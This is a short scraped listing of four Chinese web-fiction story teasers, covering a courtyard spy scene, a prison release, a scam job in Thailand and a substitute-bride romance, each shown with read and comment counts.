  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,139评论 0 23
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,252评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,598评论 3 375
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,267评论 2 358